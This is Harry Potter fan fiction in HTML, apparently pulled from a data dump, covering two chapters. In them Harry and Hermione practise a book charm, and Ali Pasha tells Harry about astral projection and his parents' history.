	(13, 8, '\n\n\n\n<b></b><p align="CENTER"><b>Chapter Number:</b> 08<br>\n<b>Chapter Name:</b> Exploding Books</p>\n<p align="CENTER">&nbsp;</p>\n<p>After they settled into their room, Harry opened up his trunk and took out all his books. It took him two trips to take all the books to Hermione\'s room &#8211; where he dumped them. He started to skim read the pages of the first volume of his charms book, while Hermione did the other. It took them a little time, but they found it. Hermione of course found it. She was the one reading that book. It happened to be the very last charm on the page. </p>\n<p>&quot; I found it...&quot; she said happily, but then she said something else that made Harry\'s heart stop, &quot; Ah oh!&quot; </p>\n<p>&quot; What? What do you mean - Ah Oh!&quot;</p>\n<p>&quot; Well... its kind of advanced&quot; replied Hermione. </p>\n<p>&quot; How advanced?&quot; asked Harry sounding still hopeful.</p>\n<p>&quot; Pretty advanced since a fifth of the OWL exam asks us to answer detailed questions about one of the last five charms.&quot;</p>\n<p>&quot; Can\'t you at least try...&quot; asked Harry knowing his best friend could do a lot of things that were well beyond her years.</p>\n<p>&quot; Yes. I could.&quot; Harry could see Hermione biting her lips &#8211; she wasn&#8217;t that sure. &quot; I\'ll. Give me the potions book.&quot;</p>\n<p>&quot; Here.&quot; said Harry, hurriedly giving Hermione the book.</p>\n<p>&quot; ...please let it work. Ok.. Here goes nothing.&quot;</p>\n<p>Hermione squinted at the page a few times, before she did as per instruction. She tapped her wand on book three times and shouted &quot;rotoo volumnus Aki&quot;. If the spell had worked, there should have been a small golden drop of metal that should have had formed at the end of the wand. Putting the golden drop on the book creates the charm.</p>\n<p>&quot; It didn\'t work&quot; said Hermione a little disappointed.</p>\n<p>&quot; Well that\'s ok. I\'ll get Professor Dumboledore to do it once I get to Hogwarts. I\'m sure he\'ll be happy to help&quot; said Harry, to comfort her.</p>\n<p>&quot; Why don\'t you try it?&quot; Hermione said it like it was just as good a reason as any.</p>\n<p>&quot; Me?&quot; asked Harry incredulously.</p>\n<p>&quot; Well, why not? You stopped the dark lord three times. This should be easy.&quot; Harry didn&#8217;t know now if Hermione was teasing him or just challenging him. Or just plain curious. </p>\n<p>&quot; You know, I\'m no good in charms-&quot;</p>\n<p>&quot; Harry Potter, you do as I say right now, or there\'ll be trouble.&quot; With a voice that carried more seriousness in it then she intended to.</p>\n<p>&quot; OK. OK. Sheesh.&quot; Harry said, picking up the book. </p>\n<p>&quot; I only asked you to try&quot; Hermione looked really upset that Harry would decide so quickly not listen to her.</p>\n<p>&quot; Well OK. But you can\'t laugh at me&quot;</p>\n<p>&quot; When have I ever done that? Well... except the time you -&quot; Hermione paused to grin at him remembering what happened in the library last year- </p>\n<p>(A/N: This is a fictional event in which a charm terribly backfires. You&#8217;ll learn more a lot later.)</p>\n<p>-but she didn\'t think it would help to rehash to topic so &quot;.. Okay. Point taken. I won&#8217;t laugh if you try to do it and fail.&quot;</p>\n<p>&quot; Here goes nothing.&quot; </p>\n<p>Harry read the instructions carefully several times, from the book before putting it down on the bed next to him. He placed the potions book in front of him. Harry tapped the book twice and closed his eyes. He tapped the book one more time and the book started to levitate very high. </p>\n<p>The whispered the words, but they were slightly different, &quot;Roto-volumnus Aki&quot;</p>\n<p>Hermione was surprised to see that book started to levitate. It was not supposed to levitate that high, but she said nothing, as disturbing him can lead to a very big accident &#8211; for the books. Harry opened his eyes to see that the book was in the air and there was a gleam of gold on the end of the wand. </p>\n<p>As soon as the book touched the golden drop at the end of the wand, it started to expand on the book. Slowly covering the whole book with a golden haze, which grew slightly brighter and then dimmed. This fluctuation went on for a few seconds, with increasing frequency. Then suddenly the book exploded.</p>\n<p>Harry thought he had done the spell wrong, but Hermione knew he hadn\'t. The bits of paper all around them started to float around Harry and after a while seem be picked up by an invisible hand be dropped into a sphere with a hole in it. Inside that invisible sphere the bits of paper still floated around. Each seemingly  in front of him. In less than ten seconds the book was back, but one corner of the front of the book now had a golden edge protector. </p>\n<p>Happy that he had done a very advanced charm right, he looked up to Hermione to get some praise. He was shocked to see that she was crying silently. He slowly moved next to her and asked, &quot; Why are you crying?&quot;</p>\n<p>Hermione stopped long enough to say, &quot; You did it... andd... I... I couldn\'t...&quot; before she started to cry again, though this time she was not crying silently.</p>\n<p>&quot; I think I know what mistake you made. It\'s a small one. You weren\'t reading the spell properly. Here...look at me&quot; said Harry as he paused and used his hand to lift up her chin to force her to look at him. &quot;...Now. Listen. One mistake isn\'t the end of the world.&quot;</p>\n<p>Hermione looked at his eyes, and saw how much compassion they held. He handed her his herbology book, and said in a whisper, &quot; Do as I tell you. First tap the book two times and then close your eyes.&quot; Hermione followed, &quot; Now imagine the book in front of you, and slowly tap it the final time...Good&quot;.</p>\n<p>&quot; Now say, \'roto-volumnus Aki\', but make sure you say \'roto-volumnus\' as one word and then accentuate the \'A\' in \'Aki\'...ok do it...Good&quot;.</p>\n<p>The same thing happened with this book like the one Harry had done the spell on. The book exploded a few seconds later and the whole room covered in small pieces of pink paper. It took a little longer this time to form, but it did. Though her success seemed to make Hermione feel a lot worse than before. </p>\n<p>&quot; Why are you still crying?&quot; said Harry, feeling a bit exasperated.</p>\n<p>&quot; ...I..I g-got the spell right...&quot; she snorted and started to cry again. </p>\n<p>Her reasoning made no sense to Harry, and he fought valiantly to stop himself from laughing at the nonsensical statement Hermione had made. It took him a while but he did manage to turn that into a boyish grin. He knew teasing her would be the easiest way for him to stop her from crying.</p>\n<p>&quot; I promise next time I have to do an advanced charm I\'ll fail...OK.&quot; asked Harry.</p>\n<p>&quot; Not ok.&quot; Replied Hermione. &quot; You worked hard over the summer and I got all those letters from Victor...&quot; she paused to think about Victor before continuing, &quot;... I haven\'t been studying enough&quot;, suddenly very resolute, &quot;That\'s it. I\'ll just study more and that\'ll fix the problem.&quot; </p>\n<p>&quot; I think you your problem might be easier to fix then you realize.&quot; Grinning broadly he opened the book and pointed at the page... &quot;Look at the book... I bet you can\'t see a thing.&quot;</p>\n<p>Hermione squinted at the pages for a few seconds, before giving up.</p>\n<p>&quot; Am I right?&quot;</p>\n<p>&quot; Yes! But how did you know I\'ve been having trouble reading all summer. I didn\'t even tell my parents...&quot;</p>\n<p>At that point Mrs. Pasha entered the room. She was waiting outside the room to talk to Harry, and had inadvertently heard the conversation regarding Hermione\'s need for corrective lenses. &quot; Sorry...I couldn\'t help over hearing you. Did I just hear you say that, someone needed glasses? Because I can help&quot; she said, sitting down next to Hermione on the bed.</p>\n<p>&quot; Oh...yeah it\'s me. I\'ve been having problems focusing. I was gonna tell mom and dad, but with all the homework I forgot.&quot; Hermione blushed a little in embarrassment. She knew the real reason and so did Harry. She had forgotten because she daydreamed about Victor.</p>\n<p>&quot; Don\'t worry... We have optometrists here too you know. We can get one of those new contacts for you and-&quot; she looked at Harry, sizing him up. &quot;-don\'t you need some new ones too?&quot; said Mrs. Pasha pointing at his glasses that were being held together by scotch tape. </p>\n<p>She didn\'t exactly wait for his answer, but more for a puzzled look to pass over his face. &quot; I have a cousin here who runs an optometrist shop very close to where Ali\'s taking you tomorrow, if you want I\'ll tell Ali to take a side trip there.&quot;</p>\n<p>&quot; Oh thanks. Mrs. Pasha&quot; said Hermione, very pleased.</p>\n<p>&quot; Not to worry...err...Harry can I talk to you outside. Alone.&quot;</p>\n<p>She didn\'t wait for an answer, as from her tone it was clear that it really wasn\'t a request, but more like an order. Harry didn\'t mind complying with her, since not only was she polite in asking, but he was also a guest there. </p>\n<p>Harry shrugged his shoulder to Hermione, and followed Mrs. Pasha out. He closed the door behind him, as he left. Just after he left, he heard a small-scale explosion.</p>\n<p>* Hermione\'s doing them without me! *</p>\n<p>Harry desperately wanted to go back to the room and continue with the magic, but he forced himself to stay. Harry didn\'t have to wait long to find out why he was taken out side. </p>\n<p>&quot; Harry, I don\'t think you should go into her room, at night time. I know I\'m old fashioned and such, but I don\'t think boyfriends and girlfriends should do that at such an ea-&quot; she stopped talking when she saw, that Harry had just snorted out of laughter. </p>\n<p>&quot; I\'m not her boyfriend. She has a boyfriend in Bulgaria, and I\'m just a friend. Nothing more.&quot; </p>\n<p>&quot; Oh-&quot; realizing that she had assumed their behavior towards each other for more than it was. &quot;Still, I don\'t think her parents would like it if you two are in the same room at night, alone and the door is closed. In any case leave the door open, that way they won\'t get agitated. Ok&quot;</p>\n<p>&quot; Yeah. Is that it?&quot; he asked, desperately wanting to get back to the room, when he heard another small explosion followed by Hermione&#8217;s giggle. (* She does that more often these days...*) </p>\n<p>&quot;I really want to get back in there. I haven\'t done magic for almost two months now. I can\'t stand it.&quot;</p>\n<p>&quot; Before you go, remember what I said. Open door.&quot;</p>\n<p>&quot; Ok. Thanks.&quot; With that Harry went to the room, only to find that Hermione had done all his books except for the DADA and the transfiguration book. He pointed his wand at her and said, &quot; Don\'t touch those two. I\'m doing those two.&quot;</p>\n<p>Hermione looked a little disappointed, but she recovered quickly. She wanted see him levitate the book; so far she had only made the book hover a few inches off the ground (that&#8217;s how much it&#8217;s supposed to happen, according to the book.) But Harry\'s had reached to his chest height, and even without looking he did he had tapped the book, in mid air. </p>\n<p>&quot; Ok. So... what do you think we\'re seeing tomorrow?&quot;</p>\n<p>&quot; I don\'t know...&quot; with that he went back to doing more magic, with Hermione watching all the time. </p>\n<p>For the next hour, Harry and Hermione played with an eagle-feather quill that they kept on transfiguring into different things, just taking pleasure from simple magic. Needle, miniature pig, cat, dog, snake (Hermione freaked out at that one) and unicorns to name a few things that small eagle-feather had turned into. At the very end of their small game of transfiguring, they managed to turn it into something that looked like a television, but it was actually just a box with glass. </p>\n<p>The ever sensible Hermione, realizing their bed time had approached quickly but gently kicked Harry out of the room &#8211; by kicking him in his butt when he stood up to leave.</p>\n<p>&quot;-aw. That hurt! Did you have to kick me?&quot; said Harry as he massaged his backside.</p>\n<p>&quot; Go. I don\'t think mom will like it much if she sees you here.&quot;</p>\n<p>&quot; Ok. If I don\'t wake up tomorrow morning early, just wake me up.&quot;</p>\n<p>&quot; I will. Just promise me one thing.&quot;</p>\n<p>&quot; What?&quot; asked Harry</p>\n<p>&quot; Don\'t have a nightmare. I didn\'t sleep well, on the plane and I need my beauty sleep.&quot;</p>\n<p>&quot; You look fine to me&quot; as soon as he said that, Harry turned much the same color that Hermione had turned into when she was compared to Lily Evans. </p>\n<p>&quot; Why, thank you kind sir.&quot; Said Hermione batting her eye lashes and with a fake southern accent. They both burst into laughter, getting unwanted attention from Mr. and Mrs. Granger, who were just finished with the &quot;adult&quot; talk and were now heading for their designated bedroom.</p>\n<p>Harry didn\'t realize it, until he was Astral Projecting that he had left all his books in Hermione\'s room. Since it would take a long time to get it back and go back to sleep, if she was asleep. He scolded himself for being so stupid, but decided going into Hermione&#8217;s room was out of the question, because of his promise. He was also very sure that she was fast asleep by then since it took him exceptionally long time that day to get into his Astral form.</p>\n<p>So he started to read about Shozar Wars, in his other favorite book that he got from Hermione\'s personal collection of books. Moroccan magic ministry was very new. Only 13 years! </p>\n<p>Before that two rival clans fought for control. Shozar Sebastian a man belonging to neither group fuelled the fire between the two main clans by killing someone from one group then blaming it on the other. Shozar was a death eater ordered by LORD VOLDEMORT to bring about the destruction of the city most populated by Half-Muggle wizards in the world. Morocco. </p>\n<p>(A/N: My brother tells me Morocco is a country. Since then I&#8217;ve found out that it is indeed a country. Sorry! Please just think of it as a city.)</p>\n<p>The magical community was torn asunder, and it was brother against brother. Then both sides, found out that they had been played and a unique system of deciding between the two clans. Every year, a three-day endurance match is to be held on the 25th of August.</p>\n<i></i><p><i>* Hey that\'s tomorrow... So that\'s where we\'re going*</i> thought Harry happily, but his happiness quickly turned into sadness when he read the next paragraph detailing how the voting was carried out. </p>\n<p>The people in the audience judged (only eligible voters were allowed in) which clan they wanted to rule the next year. It was called the Septanic games and it decides the fate of a magical community. Only once in its 16 years the loser of the match was the next rule. </p>\n<p>It happened when the Shoran\'s (name of the presiding clan\'s) youngest fighter was terribly injured by one of the fighters for Tozan (opposition clan at the time) in 1988. The entire Shoran force abandoned their fight to save the life of their comrade. Deaths at the games have been very rare. It only occurs when foolish young men do not get off the field, thinking they are invincible. The voters voted for the losers -&quot; But Harry was interrupted by an astral projecting Ali Pasha.</p>\n<p>&nbsp;</p>\n<b><p align="CENTER">Liked it so far? Please comment? Didn&#8217;t? &#8211; Comment. Tell me how I can improve. </p></b>\n\n'),
	(13, 9, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 9<br>\n<b>Chapter Name:</b> Ali Pasha &amp; the Ukrainian Forest stories</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Hello\nHarry&quot; said Mr. Pasha.</p>\n\n<p>Harry was so\nsurprised that he jumped off his bed and tried to get his wand lying next to\nhis sleeping body, forgetting that it was impossible for him to do so. Letting\nout a hiss from the sting, he looked at Ali &#8211; expecting some kind of attack.</p>\n\n<p>&quot; You\nknow as well as I do, you can\'t touch anything.&quot; Ali said softly.</p>\n\n<p>&quot; How do\nyou know?&quot; muttered Harry, looking at the wand and willing it move.\nNothing happened. He looked back at him.</p>\n\n<p>&quot; I\'m\njust like you. It was your mother that passed on the power to you. She\ninitiated James, so he became an observer.&quot;</p>\n\n<p>&quot; What do\nyou mean?&quot; asked Harry very confused.</p>\n\n<p>&quot; If you\nwant to understand this you have to listen to me. You have to listen to me very\ncarefully. Sit down on your bed,&quot; said Mr. Pasha, as he took a seat.</p>\n\n<p>Harry kept\nstanding, still not trusting Ali. But then he did, thinking if Ali had wanted\nto kill him, he had several chances. He was safe even if Ali wanted to kill\nhim. &quot; It\'s amazing isn\'t it. We can sit on chairs and tables or anything\nelse. We don\'t fall through floors, but we can pass through anything. If we try\nto move things with those areas of our body we simply pass through them.&quot;\nHarry only nodded.</p>\n\n<p>&quot;Well.\nLike I was saying.... Like your mother I am a muggleborn, and she had the\npower. I\'m not sure how long you\'ve been experimenting with this but I have\nexperimented with it since sixteen. I\'m ashamed to admit it but at the\nbeginning I used this power to spy on girls.&quot; </p>\n\n<p>Harry was\nsurprised by the man\'s honesty, but didn\'t say anything. </p>\n\n<p>&quot; I won\'t\nuse the fact that back then in school &quot;the bird and the bees&quot; fact\nwas not explained as an excuse. I was a sixteen-year-old, with all the things\nthat came with being one. I was curious and I&#8217;m fairly certain, regardless\nwhether or not the topic was explained or not in school, I would have had done\nit anyway. On my third week, my mother who had the power, found me Astral\nProjecting into a place I shouldn\'t have had been. She didn\'t just punish me &#8211;\nno that would been no punishment at all. She punished me in front of all the\ngirls that I tried to peep on. It was the single most humiliating experience of\nmy life and I learned my lesson then. Erm, sorry&#8230; I should get to my point. &quot;</p>\n\n<p>He let out a\ndeep sigh. It looked like he was making a list in his head about what he was\ngoing to say. Harry only had to wait a few seconds. </p>\n\n<p>&quot; The\npower that we have comes with lots of benefits. For one thing, when you sleep,\nyour brain rests and it&#8217;s very easy then to learn new things. Problem with it\nis that you are sleeping, so you can\'t really learn anything. I know you did\nthe Page turning charm, which by the way took me until my seventh year to\nfigure out, and even then your mother was the one who told me about it &#8211; I&#8217;m\ngetting ahead of myself.&#8221; </p>\n\n<p>&quot; This\ngift might let you do extra ordinary things like this, but you have to remember\nnot to overexert yourself. That&#8217;s why at the beginning, more than anything\nelse, it is very important to get a minimum of one good night sleep every week.\nThis prevents you from getting too edgy after a few days of Astral Projecting.\nThere\'s a way to give the gift to someone worthy. Someone willing to give their\nlife to save you or someone who cares as much for you as you do for them.&quot;\nMr. Pasha paused.</p>\n\n<p>&quot; Now\nthis is where everything gets a little confusing so I\'ll try to be as clear as\npossible... If I know my self it\'ll be as clear as mud...&#8221; He laughed to\nhimself, as Harry just watched the odd man speak. &#8220; Don\'t worry about my\nrambling, I tend to do that often. There is a way to &quot;INITIATE&quot;\nsomeone. That is to say that to give a person the ability to &quot;Astral\nProject&quot;, but they can\'t pass it onto their children. They can walk\nthrough walls, but can\'t do anything other than that. These abilities make us,\nmore than human. Better memory, physical shape... Oh by the way by the time\nyou\'re gonna be 16 you\'ll grow to six foot two. Exactly. So, I&#8217;m afraid you&#8217;ll\nnever be as tall as your father was. He was something like six feet six or\nseven, anyway-it\'s Accelerated Growth.&quot;</p>\n\n<p>Mr. Pasha saw\nthe puzzled look on Harry\'s face and before Harry could utter a single word to\nask him why he would grow to that height, Mr. Pasha answered him. &quot; I\ndon\'t know why, but that\'s the trend... I\'m off the topic again. Where was\nI?&quot;</p>\n\n<p>&quot; We\'re\nmore than humans?...&quot; prompted Harry.</p>\n\n<p>&quot; Oh yes.\nI don\'t mean to sound superior or anything, but it\'s just the way things are.\nWe have better memory, physical conditioning, and something that you don\'t have\nthe ability to control. The ability to heal our own injuries comes very\nhandy...not total healing, just small cuts and bruises. There&#8217;s some more and I\ntell you the ones that I know of. There might be more, but no one I know with\nthese sorts of powers has any idea.</p>\n\n<p>&quot; If the\nperson you choose to initiate is a muggle or atleast 1/8th muggle then you\ndon\'t loose any of your powers. However there is also way to initiate a\nfull-blooded wizard, but it only works on the opposite gender and it come at a\ngreat cost. You loose all the powers except for walking through walls &#8211; in the\nastral plane. This is what your mother did for your father. She gave up all\nthat, just so he could walk around at night. That\'s how the &#8211;ah - do you know\nabout the map?&quot; </p>\n\n<p>Harry nodded\nhis head in surprise. Harry had assumed that only the marauders knew of its\nexistence. Mr. Pasha continued from where he had left off.</p>\n\n<p>&quot; Well\nbefore that power he and his group had discovered only a fraction of it. After\nshe gave him the power, they did the whole castle. He didn\'t know what she had\ngiven up. Not until we met- even then he only knew fraction of the truth.&quot;\nMr. Pasha sighed. Remembering old days were hard for him. It reminded him too\nmuch of the war he had fought in. Too many good people died in the war. Too\nmany to count. Too many to remember. </p>\n\n<p>&quot; Like I\nsaid before, we met in Ukraine... We were both sleeping on camping ground and decided to go\nexploring in our sleep. Imagine our surprise when we both get out of our bodies\nat the same time. I asked him how long he had been doing this. When he told me\nit had been only for four months that I was surprised. You see, it usually\ntakes about six or seven months before the &quot;Initiated&quot; can actually\ndo it without the help of the person who initiated them. I asked him whether he\nwas a full-blooded wizard. When said he was, I explained to him, what the\nperson gave up, for him to have this power. He had absolutely no idea.&quot;\nMr. Pasha paused. </p>\n\n<p>&quot; What\ndid he do then?&quot; asked Harry</p>\n\n<p>&quot; Nothing.\nNeither of us could do anything. Next day we explored the jungle and found some\ninteresting looking creature. When we went to investigate it your father saved\nmy life, but not before the creature left its mark on my left arm.&quot; Mr.\nPasha rolled his sleeves and revealed the scar that was made by a claw. &quot;\nWell I too saved your father with the help of a surprisingly helpful giantess.\nWell James, ever the adventurous person that he was went into the jungle\nwithout me and managed to become the prey for a Chimera.&quot;</p>\n\n<p>&quot; I\nattacked the beast, quite stupidly, but really was getting no where with it,\nand then out of nowhere a giantess about some fifteen or eighteen feet tall,\ncame and kicked the Chimera right out of sight.&quot;</p>\n\n<p>&quot; Really?&quot;\nasked Harry in disbelief. &quot; I thought they usually ate humans or\nsomething...&quot;</p>\n\n<p>&quot; That\nmight be true, but this one seemed different. I&#8217;ll get back to what I saying\nbefore...It was amazing. Well, we both wanted to give her money, but she\nrefused. She even shared her food with us. We got around talking about each of\nus and when she heard that James went to Hogwarts, she wanted to know if he\nknew if there was a half giant wizard there?&quot;</p>\n\n<p>&quot; Just\nthat? She just wanted to know if any half giants went to Hogwarts&quot;</p>\n\n<p>&quot; Rather\nodd that was.&#8221; Ali said, shaking his head. &#8220; Well, James told her there was,\nbut somehow he was expelled, much to her disappointment but then she clapped\nreally hard and it sounded like thunder when, James told her that he was the\nbest grounds keeper Hogwarts ever had. Not to mention the fact that he was very\npopular with most of the students.&quot;</p>\n\n<p>&quot; When we\nwent back to our camp the next day, James promised me that he would see about\ngetting me into Hogwarts for a while as an exchange student. I never did find\nout how he convinced that headmaster that I should come to Hogwarts, even if it\nwas only for a few months. But I think it might have had something with the\nfact that everyone was afraid of how the Dark lord was gaining a foothold in\nthe magical communities around the world.&quot;</p>\n\n<p>&quot; The day\nbefore I was supposed to go back to Morocco, I got a letter telling me I&#8217;m supposed to go\nwith James to Hogwarts for a two month period. We celebrated all night\nlong-&quot; Ali Pasha made a drinking motion.</p>\n\n<p>&quot; We were\nso drunk the next day, we almost missed the train back. It didn&#8217;t take that\nlong for me to befriend his Marauders and&#8230; your mother. Saving his life helped.\nI was totally fascinated by your mother. I could never imagine giving up my\nperks of the power just because a girl was my friend, and there she was who did\nthat.&quot;</p>\n\n<p>&quot; It took\nuntil the very last day of my stay at Hogwarts, to get her trust. She finally\ntold me why she did that. She made me promise that I won\'t tell anyone. Her\nanswer was very moving. She told me loosing all the abilities were nothing\ncompared to what she was going to loose at the end of the year. It was the\nseventh year and last year. They were all going to go their separate ways. Lily\nwanted to give something to James for all the years of unconditional friendship\nthat James had provided her with from the very first day they met.&quot; </p>\n\n<p>Mr. Pasha\nwanted to say something but he paused, unsure if he should go ahead or not. &quot;\nDid anyone ever tell you why Lily and James became friends in the first\nplace?&quot;</p>\n\n<p>This was a\nquestion that was highly embarrassing for Harry. He had seen photos of his mom\nand dad, and they looked very close in all of them. This coupled with the fact\nthat everyone always said that they made a very nice couple, he had assumed\nthat they fell in love with each other from the first time they saw each other.\nAs stupid as it was to think that two eleven years would fall in love in their first year.\n</p>\n\n<p>&quot; err...No.\nI was given the impression they were in love with each other the first time\nthey saw each other.&quot; Said Harry.</p>\n\n<p>(A/N: The\nhistory of allowing of Muggleborn witches and wizards are totally fictional but\na necessary evil. Discrepancies with the books are intentional.)</p>\n\n<p>&quot; Not\nso...&quot; Mr. Pasha laughed a dry laugh before continuing with the tale. </p>\n\n<p>&quot;...The\nyear that Lily Evans came to Hogwarts was the first year Professor Dumboledore\nwas the Headmaster, but it was also the first time after almost a period of 250\nyears that Muggleborn children were allowed in. There were only five of them\nand only one was in the Gryffindor. From what your father told me, she was a\nvery timid looking girl with red bushy hair and an easy target for everyone who\nwanted an easy target to pick on.&quot;</p>\n\n<p>&quot; After\nsorting, (the next day) on her way to her first class apparently a huge crowd\nof students were waiting to pick on her. The sad part of it was that most of\nthem weren\'t from Slytherin. They were from Gryffindors.&quot; Mr. Pasha paused\nfor the situation to sink into Harry.</p>\n\n<p>&quot;\nGryffindors picking on Gryffindors?&quot;</p>\n\n<p>&quot; It was\nbad times...anyway, your father and his three new friends wiggled past all the\npeople to see what was the center of all the attention. He was disgusted to\nfind out that all those people were actually picking on one girl. There were\nfive or six people who really were doing the teasing the rest were just watching\nthe show, but your father saw no difference. He went ballistic right there and\nthen started to fire curses and hexes in every direction. For a first year he\nknew quite a few and he did them all very well. According to Lily, James had\nsent about twenty boys and girls to the hospital wing. He got a month worth of\ndetention from Professor McGonagall using magic in the corridor, when she\nfinally showed up.&#8221;</p>\n\n<p>&#8220; I can still\nrecall your mother&#8217;s face as she explained in awe, how she couldn&#8217;t believe\nthat someone who didn\'t even know her was willing to get in trouble over her.\nShe fell for him that moment. Thing is your father just thought of her as a\nfriend.&quot;</p>\n\n<p>&quot; The\nmarauders actually started to play pranks on people who had insulted her\nsomehow. Before the end of fifth year, few people even looked at her twice.\nJames and his marauders and there was one other person that Lily came to be\nfriends with in her second year. It was a Slytherin boy by the name of...name\nof Slap, Snug...er...no. Snape. Yes! That\'s it... Snape would sometimes talk to\nher about potion -&quot;</p>\n\n<p>Harry couldn\'t\nhelp and yell at the mention of Snape &quot; Did you say Snape? This wouldn\'t\nhappen to be Severus Snape would it?&quot;</p>\n\n<p>&quot; Sounds\nfamiliar... Yes...Yes... Could be&#8230; Do you know him?&quot;</p>\n\n<p>&quot; He is\nmy potions teacher&quot; said Harry in a dazed confusion. </p>\n\n<p>&quot; Well...\nseems like I haven\'t lost as many details about Lily and James as I thought.\nWell, anyway, they used to talk about potions and such things. Sirius,&#8221; Harry\nnoticed how Ali&#8217;s voice was rather stressed, &#8220; hated him but your father liked\nhim. He thought it was good thing that Lily had managed to get herself another\nfriend other than the Marauders. He thought that this would encourage her to be\nmore outgoing. It was getting easier for her then, since the next year several\nnew muggleborn Gryffindors joined.&quot;</p>\n\n<p>&quot;She was\nvery good in all her subjects. Lily got the highest in everything other than\ntransfiguration. It made her even more enemies because of that. So whenever she\nhad free time, she would be with James doing transfiguration. As luck would\nhave it your father was great at it. I myself am into Charms. The intricate\nflicks and swishes and the way to grip the wand, it&#8217;s really &#8230; sorry, I drifted\noff. Like I was saying, he would break off dates with all those pretty girls,\nsome of them two years older, just so your mom wouldn\'t fail\ntransfiguration.&quot;</p>\n\n<p>&quot; Lily\ntold me that she didn&#8217;t think James did it because he felt pity for her, but he\ndid it because he valued her friendship. He did it for her sake. The fool actually\nthought that he did it because she was a friend. He didn\'t even see that he was\nin love with her... Well it was clear to me and Moon..err Lupin&quot;</p>\n\n<p>&quot; -You\ndon\'t have to worry about that. I know about him since my third year.&quot; Said\nHarry.</p>\n\n<p>&quot; OH OK.\nAt the end of the fifth year she read about an easy potion, to make her hair\nsoft and straight. The day after she became the most popular girl in school,\nsuddenly all the boys wanted to be with her, some of them were older, better\nlooking and even more rich than your father. But she only wanted him.\nUnfortunately James saw nothing in her to make him think that she was anything\nother than what she was before.&quot;</p>\n\n<p>&quot; What\nwas that?&quot; asked Harry, very curious as to how his father saw his mother,\neven after she went through a makeover.</p>\n\n<p>&quot; A GOOD\nfriend. After spending almost three-quarters of a year, trying to get his\nattention she finally gave up and decided that Snape deserved a shot. That\'s\nwhen she decided to give James the gift as a parting gift.&quot;</p>\n\n<p>&quot; Your\nmom and that Snape fellow apparently dated, until he accused James of trying to\nkill him. I think this happened a few days before I was supposed to leave. The\nnight before there was an incident where Sirius lead Snape to where Lupin\nwas...you know...but your father saved him. When Snape accused James of trying\nto kill him, she dumped him right there and then. James was going to go along\nwith Snape&#8217;s story too, actually he started to say that he did do that. But she\ncould always see through his lies and this was no exception. She knew James\nwould never do anything like that. He couldn&#8217;t stand to see Lily unhappy and\nshe knew that James thought Snape made her happy.&quot;</p>\n\n<p>There was a\nlong pause that made Harry uncomfortable. Just as he was about to say\nsomething, Mr. Pasha started to talk again, &quot; When I heard her story, I\nwas furious. I couldn\'t believe James didn\'t see Lily for what she really was\nand I went back to the dorm punched your father straight in the face a few\ntimes to get rid of all the emotions that had built up listening to the story.\nI told him he had to be the stupidest man alive if he didn\'t see what Lily did\nor why she did it. I told him exactly what she gave up. I asked him why he\nthought he didn\'t feel any pain for the first four months and then suddenly he had\nto learn to tolerate it. When he said he didn\'t think about it; I was ready to\nmurder him.&quot; Mr. Pasha looked to see Harry who had a small tear running\ndown his cheek. </p>\n\n<p>&#8216;<i> &nbsp;Good! He\nunderstands now why his mother wanted to sacrifice herself than see her son die\nin front of her. Looks like he understands what she had gone through for her\nlove; never showing pain, never faltering in front of James.</i>&#8217; thought Mr.\nPasha.</p>\n\n<p>&quot; I told\nhim... because Lily was in her bed screaming in pain. I told him she must\nreally love him to go through all that pain and never even mention it him. I\ntold him I was very surprised that Lily hadn\'t gone mad, with the amount of\nmental torture that she must have had gone through, keeping the pain in check\nwhen James was off having fun. I now know, it&#8217;s because women folk have a\nhigher ability to stand pain &#8211; childbearing and what not.&quot;</p>\n\n<p>&quot; Before\nI boarded the train I told him to think about a few things. Why would she want\nto be put through all that pain if she didn\'t love him? Where the hell was he\never going to find a person who knowing they didn\'t have a chance in hell of\ngetting his attention would go through all the pain and never say a thing? If\nhe didn\'t feel exactly the same way, why would he always break off dates with\nolder, more popular girls just so he could help her with transfiguration? What\ndid she ever give him that those girls that he had dated weren\'t willing to\ngive him?&quot; He paused to look at Harry. </p>\n\n<p>Harry could\njust look back in return, with his face still wet from his last sobbing.</p>\n\n<p>&quot; By the\nlooks of you... I can see that dope finally came to his senses. You know your\nparents would have been very proud of you. You\'re their love personified,\nthat\'s why they were willing to die to save you.&quot; There was a hint of\nsadness at the beginning but it was filled with pride at the end. </p>\n\n<p>&quot; I heard\nJames with his wife perished, saving their son, who killed the dark lord. I\nnever knew Lily was his wife. If I had... I would have had cried a hundred\ntimes more.&quot; As he said this Harry noticed streams of teams were leaving\nhis eyes. </p>\n\n<p>Sometime later\nthey were wiped away. In that time Harry realized why Snape had it in for him\nfrom the time he was in first year. Harry knew his parents got together\nsometime a few months into their last year meaning that, what Mr. Pasha had\ntold his father must have hit home and he realized his love for Lily. Once\nSnape saw that those two got together a few days after he got dumped he must\nhave had thought that she had been two-timing him from the beginning. Or something\nlike that&#8230;</p>\n\n<p>&quot; Thanks,\nMr. Pasha. What you just told me answers one question that has been haunting me\nfor the past four years. I can\'t begin to tell you how much this means to\nme&quot; </p>\n\n<p>&quot; No\nthanks is necessary. I \'m - I\'m&quot; Mr. Pasha was sniffling, &quot; I\'m just\nhappy they realized how much they really loved each other. Well now on to some\nmore pleasant business I hope... The entire reason I told you everything I know\nwas to tell you all the information you need to know before you start to\nexperiment with your powers any further. I was wondering whether or not you had\nsome one in your mind to become your initiate. So who\'ll it be, Harry?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p style="text-align:center" align="center">Hello. :) I hope you liked this chapter. It&#8217;s\nbeen edited a bit for clarity. The unedited and more rougher and loger version\nof this fic is on fanfiction.net &#8211; under the name of &#8220; NAPPA &#8221; as the author.\nThe story is right now 46 chapters, and only a few have been uploaded thus far.\n<b>Beta was by NATE . :)</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
